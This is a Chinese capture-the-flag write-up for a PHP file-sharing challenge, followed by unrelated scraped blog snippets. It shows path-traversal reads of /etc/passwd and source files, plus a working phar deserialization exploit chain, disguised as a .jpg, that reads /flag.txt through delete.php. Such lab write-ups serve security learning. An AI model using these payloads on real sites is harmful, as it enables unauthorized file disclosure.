涉及知识点
phar反序列化
文件读取
解题过程
打开题目,注册用户为admin 进去发现有文件上传的功能,我们随便上传个图片 然后就有下载和删除两个功能 我们尝试抓包下载文件的功能 发现参数可控,我们尝试读取一下
filename=/etc/passwd
既然能读出来,我们继续读一下源码
filename=../../index.php
源码
网盘管理
管理面板
上传文件
你好
Name();
$a->Size();
?>
继续读取class.php
db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '下载 / 删除 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
分析一下class.php 我们先找到出口File.close()
的file_get_contents
。如果要调用close()方法,往前推可以找到User.__destruct()
,但是这个是调用$db并不是调用File的。
所以我们转换思路,我们可以利用FileList.__call()
魔术方法当跳板调用 仔细分析下
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
首先接受两个参数,$func
表示调用的方法名,$args
是一个数组,包含传递给方法的参数。 如果调用close()的话,就是先将方法名存储$this->funcs
数组里然后依次调用$this->files
数组里的元素的close()方法。 然后存储在$this->results[$file->name()][$func]
如果是File类的close(),就是获取文件的内容,所以$this->files数组里的元素必须为File类的对象
再看看
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) { //遍历数组 $func为键 $value为对应的值
$table .= '' . htmlentities($value) . ' ';
}
$table .= '下载 / 删除 ';
$table .= ' ';
}
echo $table;
}
这里先输出$this->funcs
里的元素的值 然后输出$this->results
数组里的数组元素的键值对 而在__call()函数里我们存储的文件的内容就在$result as $func => $value
的$value
里 所以只要构造$this->files
的值,就可以在最后面输出其文件的内容,这样就可以获得flag exp
files=array();
$a=new File('/flag.txt');
array_push($this->files,$a);
}
}
class File {
public $filename;
public function __construct($filename) {
$this->filename = $filename;
}
}
$a=new User();
$b=new FileList();
$a->db=$b;
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
解释: $this->db为FileList
类的对象,然后触发其中的__call()方法 然后$this->db的$this->files
数组成员的元素设置为File类的对象, 调用File类的close()方法,并存储在$this->db的$this->results
数组中 最后在FileList类的析构函数输出其值
生成phar文件后修改后缀为jpg(因为会被检测文件后缀) 这里有个关键点,就是要在delete.php抓包修改参数
原因:由于是使用文件系统函数(Filesystem),而在download.php存在open_basedir的限制,不能读取根目录文件而delete.php不存在这个限制
你可能感兴趣的:(刷题记录,反序列化,web安全,php)
mac os 10.9 mysql_MAC OSX 10.9 apache php mysql 环境配置
AY05
mac os 10.9 mysql
#终端内运行sudoapachectlstart#启动Apachesudoapachectlrestart#重启Apachesudoapachectlstop#停止Apache#配置Apachesudovi/private/etc/apache2/httpd.conf#将里面的这一行去掉前面的##LoadModulephp5_modulelibexec/apache2/libphp5.so#配置P
2022-01-13 天气晴 心情好
楠楠的qzone
今天主要是吧系统的一些功能给转移到另外一个系统上,然后遇到了一个很差劲的客户,不过呢我也是见多了不去计较了,因为什么样的人都有,平常心就好。晚上去吧thinkphp6的基础知识好好的看了一下,还是学到了很多好东西
SQL笔记纯干货
AI入门修炼
oracle 数据库 sql
软件:DataGrip2023.2.3,phpstudy_pro,MySQL8.0.12目录1.DDL语句(数据定义语句)1.1数据库操作语言1.2数据表操作语言2.DML语句(数据操作语言)2.1增删改2.2题2.3备份表3.DQL语句(数据查询语言)3.1查询操作3.2题一3.3题二4.多表详解4.1一对多4.2多对多5.多表查询6.窗口函数7.拓展:upsert8.sql注入攻击演示9.拆表
《跨域资源共享CORS的深层逻辑与前端实践精要》
不同源头的资源交互已成为常态,而跨域资源共享(CORS)正是支撑这种交互的隐形架构。现代Web安全体系中平衡开放与防护的精妙设计。理解CORS的深层逻辑,不仅能解决实际开发中的跨域难题,更能触及网络安全与资源流通的核心矛盾,为前端工程师构建稳健的应用提供底层认知支撑。跨域资源共享的诞生,源于网络安全与应用发展的必然冲突。浏览器的同源策略,作为早期网络安全的基石,通过限制不同源文档的交互,有效阻挡了
从0到1学PHP(二):PHP 基本语法:构建代码的基石
奔跑吧邓邓子
项目攻略 php 开发语言 基本语法
目录一、PHP标记与注释1.1PHP的起始和结束标记1.2单行注释和多行注释二、变量与数据类型2.1变量的定义、命名规则和使用方法2.2数据类型详解2.3数据类型的转换三、运算符与表达式3.1各类运算符的使用3.2表达式的组成和运算规则一、PHP标记与注释1.1PHP的起始和结束标记在PHP编程中,起始标记是极为重要的基础概念。当PHP解析器处理文件时,一旦识别到结束标记,标记之外的内容会被忽略。
力扣刷题记录 238. 除自身以外数组的乘积
lovfam
leetcode 算法 数据结构
题目描述:给你一个整数数组nums,返回数组answer,其中answer[i]等于nums中除nums[i]之外其余各元素的乘积。题目数据保证数组nums之中任意元素的全部前缀元素和后缀的乘积都在32位整数范围内。请不要使用除法,且在O(n)时间复杂度内完成此题。示例:输入:nums=[1,2,3,4]输出:[24,12,8,6]误区:看到这个题目第一个映入脑子的就是把总的乘积分情况(数组中存在
我的ThinkPHP5框架开发22讲:从入门到实践的探索之旅
a1237567892
安全
我的ThinkPHP5框架开发22讲:从入门到实践的探索之旅在编程的世界里,框架就像是一座座灯塔,照亮着开发者前行的道路。而当我第一次接触到ThinkPHP5这个PHP框架时,它就像是我探索路上的那颗最亮的星。今天,我想和大家分享我的ThinkPHP5框架开发22讲,这是我从一个初学者到逐渐熟练的实践过程。第1讲:初识ThinkPHP5记得那是一个阳光明媚的周末,我在网上浏览PHP框架的资料时,偶
开启 PHP 初阶之旅:解锁高效入门之道
API_Zevin
php 开发语言 人工智能 大数据 前端 python 后端
在当今动态网页开发领域,PHP作为一门久经沙场的服务器端脚本语言,以其强大功能与广泛适用性,持续吸引着无数初学者踏入编程殿堂。若你决心攻克PHP,为Web开发世界添砖加瓦,一系列精准策略与实用方法将成为你加速入门的得力伙伴,引领你穿越初期懵懂,迈向熟练驾驭的新征程。一、筑牢基础:语法地基稳扎稳打PHP语法虽具灵活性,初学者仍需系统研习,构建扎实根基。从变量声明起步,领会PHP变量“$”符号前缀特色
面试宝典
phpdi
1.引用变量考点引用变量定义:用不同的名字访问同一个变量内容cow机制遍历时的引用处理unset只会取消引用,不会销毁内存空间php中对象默认是引用传递,若需要复制,则需要使用clone2.常量及数据类型define,const;php5.6以用const定义常量不支持表达式;7种false情况:0,0.0,'','0',[],null,false;精度丢失;获取客户端,服务端ip;与app交互$
从0到1学PHP(一):PHP 基础入门:开启后端开发之旅
目录一、PHP简介与发展历程1.1PHP定义与特点1.2在后端开发中的地位1.3发展阶段及重要版本更新二、PHP开发环境搭建2.1Windows系统下搭建步骤2.2Mac系统下搭建方法及常用工具2.3适合初学者的集成开发环境三、第一个PHP程序3.1编写"HelloWorld"程序3.2程序基本结构和执行过程3.3PHP代码的嵌入方式(在HTML中)一、PHP简介与发展历程1.1PHP定义与特点P
Ubuntu lamp
会飞的灰大狼
linux ubuntu
Ubuntulamp前言在Ubuntu安装lamp架构我们了解到lamp是完整的架构我们前面了解到了集合了Linux系统apacheMySQL和PHP语言的完整架构我们前面说了Centos7中编译安装lamp那么我们去说一下在Ubuntu中安装安装apache2apt直接安装apache2apt-yinstallapache2启动apache2systemctlstartapache2#测
SQL97 验证刷题效果,输出题目真实通过率
折翼的恶魔
MYSQL 数据库
牛客刷题记录表`done_questions_record`,为验证重复刷题率,输出题目通过率(哪些题目被通过了,这个人你一共刷题的题目)question_pass_rate60%的用户的提交正确率pass_rate与每题目平均提交次数question_per_cnt。result_info'是否通过,1:通过;0:不通过',查询返回结果名称和顺序user_idquestion_pass_rate
网络安全第14集
不灭锦鲤
web安全 安全
前言:小迪安全14集,这集重点内容:0、什么是js渗透测试?在javascript中也存在变量和函数,存在可控变量和函数就有可能存在在漏洞,js开发的web应用和php、java开发的区别是,js能看得到的源代码,php看不到,但是风险就是未授权访问、配置信息泄露(加密算法、key秘钥等),源代码看得到,存在更多的url泄露,从而可能会出现未授权访问,从url,前提:web应用可以采用前端语言或后
常见的Bug管理工具有哪些?(如JIRA、Bugzilla、禅道等)
海姐软件测试
缺陷管理 bug jira
一、主流Bug管理工具分类及特点1.商业/企业级工具JIRA(Atlassian)特点:高度可定制,支持敏捷开发,集成CI/CD(如Jenkins)、Confluence等。适用场景:中大型团队,需复杂工作流和扩展生态。费用:按用户数收费,提供云版和本地部署。MantisBT特点:开源但支持商业服务,轻量级,适合中小团队。亮点:支持邮件通知、自定义字段。部署:需自建服务器(PHP+MySQL)。T
代码审计与web安全选择题1
m0_74726609
代码审计 网络安全
软件供应链安全的基础是()A.完善的需求分析B.源代码安全C.渗透测试D.软件测试参考答案:B保证源代码安全的主要措施包括()A.开发工具和环境的安全B.代码安全C.渗透测试D.代码审计E.软件的说明文档完整参考答案:ABCD通过()技术,实现源代码在终端、网络及服务器存储场景下全周期的安全管理,防止内部代码有意、无意泄露、扩散出去。A.数据加B.数据脱C.数据安全隔离D.防火墙参考答案:C软件供
TP5中CURD那点事儿(五)
铁匠简记
模型关联一般说来模型关系包括一对一HAS_ONEBELONG_TO一对多HAS_MANYBELONG_TO多对多BELONGS_TO_MANY一对多一用户->多条评论Model层User模型Comment模型对应两张表名User.php中创建一个publiccomm()方法publicfunctioncomm(){//这是一个关系模型return$this->hasMany('Comment','
开源TTS
vanloswang
综合 TTS
Ekhohttp://sourceforge.net/projects/e-guidedog/files/Ekho/http://www.eguidedog.net/ekho.phpflitehttp://www.speech.cs.cmu.edu/flite/
PHP框架详解 - symfony框架
FLK_9090
php symfony android
引言随着互联网技术的迅猛发展,Web应用程序的复杂性也在逐年增加。为了应对这种复杂性,开发者们需要更加高效、灵活的工具来简化开发流程、提高代码质量和维护性。在众多PHP框架中,Symfony凭借其模块化设计、高性能和丰富的文档支持,成为了众多开发者的首选。Symfony框架由法国公司SensioLabs开发并于2005年首次发布。它的设计哲学是为开发者提供一套高效且灵活的工具,帮助他们快速构建复杂
博后
来自吐槽星
德州TheUniversityofTexasMDAndersonCancerCenterhttps://bbs.pku.edu.cn/v2/post-read.php?bid=41&threadid=16325339纽约MemorialSloanKetteringCancerCenterhttp://www.miccai.org/jobs-posting/memorial-sloan-ketter
JetBrains 2025 全家桶 IDEA、WebStorm、DataSpell、DataGrip、Pycharm、CLion、Rider、PhpStorm、GoLand
原文地址:JetBrains2025全家桶11合1含IDEA、PyCharm、DataGrip、WebStrom、GoLand、CLion、PhpStorm、DataSpell等JetBrains2025全家桶11合1包含:IDEA、WebStorm、DataSpell、DataGrip、Pycharm、RustRover、CLion、Rider、PhpStorm、RubyMine、GoLand。
洛谷刷题记录:2025-1-13
Ceasteo
算法学习/刷题 算法 c++ python
为了加深做过的题的印象和防止以后看到这题却忘记当时是怎么想的,做个记录,大多为最近做过的入门题单的题P1321单词覆盖还原链接P1321单词覆盖还原-洛谷|计算机科学教育新生态题目描述我有一个长度为lll的字符串,最开始时,这个字符串由lll个句号(.)组成。我在这个字符串中,将多次把boy或者girl两单词,依次贴到这个字符串中。后贴上单词,会覆盖之前贴上的单词,或者覆盖句号。最终,每个单词至少
kh dksl.php,php中取得URL的根域名的代码
克勒kk
kh dksl.php
php中取得URL的根域名的代码发布于2014-12-1310:14:08|121次阅读|评论:0|来源:网友投递PHP开源脚本语言PHP(外文名:HypertextPreprocessor,中文名:“超文本预处理器”)是一种通用开源脚本语言。语法吸收了C语言、Java和Perl的特点,入门门槛较低,易于学习,使用广泛,主要适用于Web开发领域。PHP的文件后缀名为php。本文为大家讲解的是php
WEB安全--Java安全--jsp webshell免杀
1.1、BCELClassLoader介绍(仅适用于BCEL6.0以下):BCEL(ApacheCommonsBCEL™)是一个用于分析、创建和操纵Java类文件的工具库;BCEL的类加载器在解析类名时会对ClassName中有BCEL标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。当BCEL的loadClass加载一个类名中带有BCEL$$”的类时会截取出BCEL后面的字符串,然
SMTPman,wp mail smtp轻松配置的连接指南
SMTPman,wpmailsmtp轻松配置的连接指南很多站长会遇到默认发信失败、邮件被当垃圾邮件等问题,此时SMTPman,wpmailsmtp提供了稳定、安全的SMTP解决方案。选择SMTPman,wpmailsmtp,你将获得更高的邮件投递率和管理效率,让网站通讯变得更可靠。功能优势使用SMTPman,wpmailsmtp可以显著提升邮件发送成功率,因为默认的PHP邮件函数经常会被邮箱服务器
SMTPman,php smtp发送邮件配置教程解析!
tomcsdn31
SMTP 邮件服务器 邮件营销 邮件群发 营销邮件 邮件接口 SMTP服务器
SMTPman,phpsmtp发送邮件配置教程解析!不论是用户注册验证,还是系统通知,SMTPman,phpsmtp发送邮件都能保证邮件稳定送达。选择SMTPman,phpsmtp发送邮件的方式,可以有效提高送达率,且SMTPman,phpsmtp发送邮件配置灵活,适合各种环境。配置参数要成功实现SMTPman,phpsmtp发送邮件,必须配置正确的服务器参数。SMTPman,phpsmtp发送邮
防伪溯源一体化管理系统解决方案
春城一个人的莎士比亚
网站小程序软件定制开发 防伪溯源 防伪溯源小程序 防伪溯源解决方案 防伪溯源方法 防伪溯源软件 防伪溯源一物一码
防伪溯源一体化管理系统一款基于FA+ThinkPHP和Uniapp进行开发的多平台(微信小程序、H5网页)溯源、防伪、管理一体化独立系统,拥有强大的防伪码和溯源码双码生成功能(内置多种生成规则)、批量大量导出防伪和溯源码码数据、支持代理商管理端(团队管理、采购,邀请代理商、出库等功能)、支持招商经理管理端(可管理代理商团队,邀请代理商,数据统计,采购订单统计),支持出厂员端(出库、入库)、文章资讯
宝塔开放php openssl,[教程]Centos宝塔面板升级openssl增强nginxSSL安全性,openssl开启Http/2,Centos升级openssl...
weixin_39956353
宝塔开放php openssl
由于本站是采用的Centos7+宝塔面板搭建的LNMP环境,但是Centos7默认的openssl版本又太低,根据“漏洞参考这里:https://www.trustasia.com/OpenSSL-CVE-2016-2107-Padding-Oracle”查看这篇文章发现openssl低版本已经有一堆漏洞了,所以就萌生了升级openssl版本的想法。配置完后如图:openssl版本低会导致无论你怎
探索PHP中的六边形架构:代码实践与设计哲学
脑叔
六边形架构 PHP 领域服务 依赖规则 UseCase对象
探索PHP中的六边形架构:代码实践与设计哲学背景简介本文基于书籍《AppendixA:HexagonalArchitecturewithPHP》的第43章内容,探讨了在PHP中实现六边形架构的实践方法和背后的设计哲学。六边形架构作为一种软件设计模式,旨在帮助开发者创建易于编写、测试和维护的应用程序。六边形架构的实践在软件开发中,业务规则与基础设施之间应该有清晰的分界。六边形架构通过端口和适配器的概
【全开源】防伪溯源一体化管理系统源码(FastAdmin+ThinkPHP和Uniapp)
现任明教教主~
uni-app 微信小程序
一款基于FastAdmin+ThinkPHP和Uniapp进行开发的多平台(微信小程序、H5网页)溯源、防伪、管理一体化独立系统,拥有强大的防伪码和溯源码双码生成功能(内置多种生成规则)、批量大量导出防伪和溯源码码数据、支持代理商管理端(团队管理、采购,邀请代理商、出库等功能)、支持招商经理管理端(可管理代理商团队,邀请代理商,数据统计,采购订单统计),支持出厂员端(出库、入库)、文章资讯、自定义
【PHP开发900个实用技巧】779.PHP应用分层:告别面条代码的“结构化思维”
精通代码大仙
PHP开发900个实用技巧 php android 开发语言 程序员创富
【颠覆你的代码习惯】779招PHP分层秘籍:从"意大利面条"到"千层蛋糕"的华丽蜕变——结构化思维让你代码清爽如风!779.PHP应用分层:告别面条代码的'结构化思维'表现层:直面用户的'门面担当'业务层:核心逻辑的'指挥官'数据访问层:数据库的'翻译官'工具层:重复劳动的'终结者'痛点分析:用户交互和业务纠缠?解决:剥离HTML模板引擎痛点分析:业务逻辑到处复制?解决:封装可复用的Service
用MiddleGenIDE工具生成hibernate的POJO(根据数据表生成POJO类)
AdyZhang
POJO eclipse Hibernate MiddleGenIDE
推荐:MiddlegenIDE插件, 是一个Eclipse 插件. 用它可以直接连接到数据库, 根据表按照一定的HIBERNATE规则作出BEAN和对应的XML ,用完后你可以手动删除它加载的JAR包和XML文件! 今天开始试着使用
.9.png
Cb123456
android
“点九”是andriod平台的应用软件开发里的一种特殊的图片形式,文件扩展名为:.9.png
智能手机中有自动横屏的功能,同一幅界面会在随着手机(或平板电脑)中的方向传感器的参数不同而改变显示的方向,在界面改变方向后,界面上的图形会因为长宽的变化而产生拉伸,造成图形的失真变形。
我们都知道android平台有多种不同的分辨率,很多控件的切图文件在被放大拉伸后,边
算法的效率
天子之骄
算法效率 复杂度 最坏情况运行时间 大O阶 平均情况运行时间
算法的效率
效率是速度和空间消耗的度量。集中考虑程序的速度,也称运行时间或执行时间,用复杂度的阶(O)这一标准来衡量。空间的消耗或需求也可以用大O表示,而且它总是小于或等于时间需求。
以下是我的学习笔记:
1.求值与霍纳法则,即为秦九韶公式。
2.测定运行时间的最可靠方法是计数对运行时间有贡献的基本操作的执行次数。运行时间与这个计数成正比。
java数据结构
何必如此
java 数据结构
Java 数据结构
Java工具包提供了强大的数据结构。在Java中的数据结构主要包括以下几种接口和类:
枚举(Enumeration)
位集合(BitSet)
向量(Vector)
栈(Stack)
字典(Dictionary)
哈希表(Hashtable)
属性(Properties)
以上这些类是传统遗留的,在Java2中引入了一种新的框架-集合框架(Collect
MybatisHelloWorld
3213213333332132
//测试入口TestMyBatis
package com.base.helloworld.test;
import java.io.IOException;
import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibat
Java|urlrewrite|URL重写|多个参数
7454103
java xml Web 工作
个人工作经验! 如有不当之处,敬请指点
1.0 web -info 目录下建立 urlrewrite.xml 文件 类似如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE u
达梦数据库+ibatis
darkranger
sql mysql ibatis SQL Server
--插入数据方面
如果您需要数据库自增...
那么在插入的时候不需要指定自增列.
如果想自己指定ID列的值, 那么要设置
set identity_insert 数据库名.模式名.表名;
----然后插入数据;
example:
create table zhabei.test(
id bigint identity(1,1) primary key,
nam
XML 解析 四种方式
aijuans
android
XML现在已经成为一种通用的数据交换格式,平台的无关性使得很多场合都需要用到XML。本文将详细介绍用Java解析XML的四种方法。
XML现在已经成为一种通用的数据交换格式,它的平台无关性,语言无关性,系统无关性,给数据集成与交互带来了极大的方便。对于XML本身的语法知识与技术细节,需要阅读相关的技术文献,这里面包括的内容有DOM(Document Object
spring中配置文件占位符的使用
avords
1.类
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.o
前端工程化-公共模块的依赖和常用的工作流
bee1314
webpack
题记: 一个人的项目,还有工程化的问题嘛? 我们在推进模块化和组件化的过程中,肯定会不断的沉淀出我们项目的模块和组件。对于这些沉淀出的模块和组件怎么管理?另外怎么依赖也是个问题? 你真的想这样嘛? var BreadCrumb = require(‘../../../../uikit/breadcrumb’); //真心ugly。
上司说「看你每天准时下班就知道你工作量不饱和」,该如何回应?
bijian1013
项目管理 沟通 IT职业规划
问题:上司说「看你每天准时下班就知道你工作量不饱和」,如何回应
正常下班时间6点,只要是6点半前下班的,上司都认为没有加班。
Eno-Bea回答,注重感受,不一定是别人的
虽然我不知道你具体从事什么工作与职业,但是我大概猜测,你是从事一项不太容易出现阶段性成果的工作
TortoiseSVN,过滤文件
征客丶
SVN
环境:
TortoiseSVN 1.8
配置:
在文件夹空白处右键
选择 TortoiseSVN -> Settings
在 Global ignote pattern 中添加要过滤的文件:
多类型用英文空格分开
*name : 过滤所有名称为 name 的文件或文件夹
*.name : 过滤所有后缀为 name 的文件或文件夹
--------
【Flume二】HDFS sink细说
bit1129
Flume
1. Flume配置
a1.sources=r1
a1.channels=c1
a1.sinks=k1
###Flume负责启动44444端口
a1.sources.r1.type=avro
a1.sources.r1.bind=0.0.0.0
a1.sources.r1.port=44444
a1.sources.r1.chan
The Eight Myths of Erlang Performance
bookjovi
erlang
erlang有一篇guide很有意思: http://www.erlang.org/doc/efficiency_guide
里面有个The Eight Myths of Erlang Performance: http://www.erlang.org/doc/efficiency_guide/myths.html
Myth: Funs are sl
java多线程网络传输文件(非同步)-2008-08-17
ljy325
java 多线程 socket
利用 Socket 套接字进行面向连接通信的编程。客户端读取本地文件并发送;服务器接收文件并保存到本地文件系统中。
使用说明:请将TransferClient, TransferServer, TempFile三个类编译,他们的类包是FileServer.
客户端:
修改TransferClient: serPort, serIP, filePath, blockNum,的值来符合您机器的系
读《研磨设计模式》-代码笔记-模板方法模式
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
配置心得
chenyu19891124
配置
时间就这样不知不觉的走过了一个春夏秋冬,转眼间来公司已经一年了,感觉时间过的很快,时间老人总是这样不停走,从来没停歇过。
作为一名新手的配置管理员,刚开始真的是对配置管理是一点不懂,就只听说咱们公司配置主要是负责升级,而具体该怎么做却一点都不了解。经过老员工的一点点讲解,慢慢的对配置有了初步了解,对自己所在的岗位也慢慢的了解。
做了一年的配置管理给自总结下:
1.改变
从一个以前对配置毫无
对“带条件选择的并行汇聚路由问题”的再思考
comsci
算法 工作 软件测试 嵌入式 领域模型
2008年上半年,我在设计并开发基于”JWFD流程系统“的商业化改进型引擎的时候,由于采用了新的嵌入式公式模块而导致出现“带条件选择的并行汇聚路由问题”(请参考2009-02-27博文),当时对这个问题的解决办法是采用基于拓扑结构的处理思想,对汇聚点的实际前驱分支节点通过算法预测出来,然后进行处理,简单的说就是找到造成这个汇聚模型的分支起点,对这个起始分支节点实际走的路径数进行计算,然后把这个实际
Oracle 10g 的clusterware 32位 下载地址
daizj
oracle
Oracle 10g 的clusterware 32位 下载地址
http://pan.baidu.com/share/link?shareid=531580&uk=421021908
http://pan.baidu.com/share/link?shareid=137223&uk=321552738
http://pan.baidu.com/share/l
非常好的介绍:Linux定时执行工具cron
dongwei_6688
linux
Linux经过十多年的发展,很多用户都很了解Linux了,这里介绍一下Linux下cron的理解,和大家讨论讨论。cron是一个Linux 定时执行工具,可以在无需人工干预的情况下运行作业,本文档不讲cron实现原理,主要讲一下Linux定时执行工具cron的具体使用及简单介绍。
新增调度任务推荐使用crontab -e命令添加自定义的任务(编辑的是/var/spool/cron下对应用户的cr
Yii assets目录生成及修改
dcj3sjt126com
yii
assets的作用是方便模块化,插件化的,一般来说出于安全原因不允许通过url访问protected下面的文件,但是我们又希望将module单独出来,所以需要使用发布,即将一个目录下的文件复制一份到assets下面方便通过url访问。
assets设置对应的方法位置 \framework\web\CAssetManager.php
assets配置方法 在m
mac工作软件推荐
dcj3sjt126com
mac
mac上的Terminal + bash + screen组合现在已经非常好用了,但是还是经不起iterm+zsh+tmux的冲击。在同事的强烈推荐下,趁着升级mac系统的机会,顺便也切换到iterm+zsh+tmux的环境下了。
我为什么要要iterm2
切换过来也是脑袋一热的冲动,我也调查过一些资料,看了下iterm的一些优点:
* 兼容性好,远程服务器 vi 什么的低版本能很好兼
Memcached(三)、封装Memcached和Ehcache
frank1234
memcached ehcache spring ioc
本文对Ehcache和Memcached进行了简单的封装,这样对于客户端程序无需了解ehcache和memcached的差异,仅需要配置缓存的Provider类就可以在二者之间进行切换,Provider实现类通过Spring IoC注入。
cache.xml
<?xml version="1.0" encoding="UTF-8"?>
Remove Duplicates from Sorted List II
hcx2013
remove
Given a sorted linked list, delete all nodes that have duplicate numbers, leaving only distinct numbers from the original list.
For example,Given 1->2->3->3->4->4->5,
Spring4新特性——注解、脚本、任务、MVC等其他特性改进
jinnianshilongnian
spring4
Spring4新特性——泛型限定式依赖注入
Spring4新特性——核心容器的其他改进
Spring4新特性——Web开发的增强
Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC
Spring4新特性——Groovy Bean定义DSL
Spring4新特性——更好的Java泛型操作API
Spring4新
MySQL安装文档
liyong0802
mysql
工作中用到的MySQL可能安装在两种操作系统中,即Windows系统和Linux系统。以Linux系统中情况居多。
安装在Windows系统时与其它Windows应用程序相同按照安装向导一直下一步就即,这里就不具体介绍,本文档只介绍Linux系统下MySQL的安装步骤。
Linux系统下安装MySQL分为三种:RPM包安装、二进制包安装和源码包安装。二
使用VS2010构建HotSpot工程
p2p2500
HotSpot OpenJDK VS2010
1. 下载OpenJDK7的源码:
http://download.java.net/openjdk/jdk7
http://download.java.net/openjdk/
2. 环境配置
▶
Oracle实用功能之分组后列合并
seandeng888
oracle 分组 实用功能 合并
1 实例解析
由于业务需求需要对表中的数据进行分组后进行合并的处理,鉴于Oracle10g没有现成的函数实现该功能,且该功能如若用JAVA代码实现会比较复杂,因此,特将SQL语言的实现方式分享出来,希望对大家有所帮助。如下:
表test 数据如下:
ID,SUBJECTCODE,DIMCODE,VALUE
1&nbs
Java定时任务注解方式实现
tuoni
java spring jvm xml jni
Spring 注解的定时任务,有如下两种方式:
第一种:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http
11大Java开源中文分词器的使用方法和分词效果对比
yangshangchuan
word分词器 ansj分词器 Stanford分词器 FudanNLP分词器 HanLP分词器
本文的目标有两个:
1、学会使用11大Java开源中文分词器
2、对比分析11大Java开源中文分词器的分词效果
本文给出了11大Java开源中文分词的使用方法以及分词结果对比代码,至于效果哪个好,那要用的人结合自己的应用场景自己来判断。
11大Java开源中文分词器,不同的分词器有不同的用法,定义的接口也不一样,我们先定义一个统一的接口:
/**
* 获取文本的所有分词结果, 对比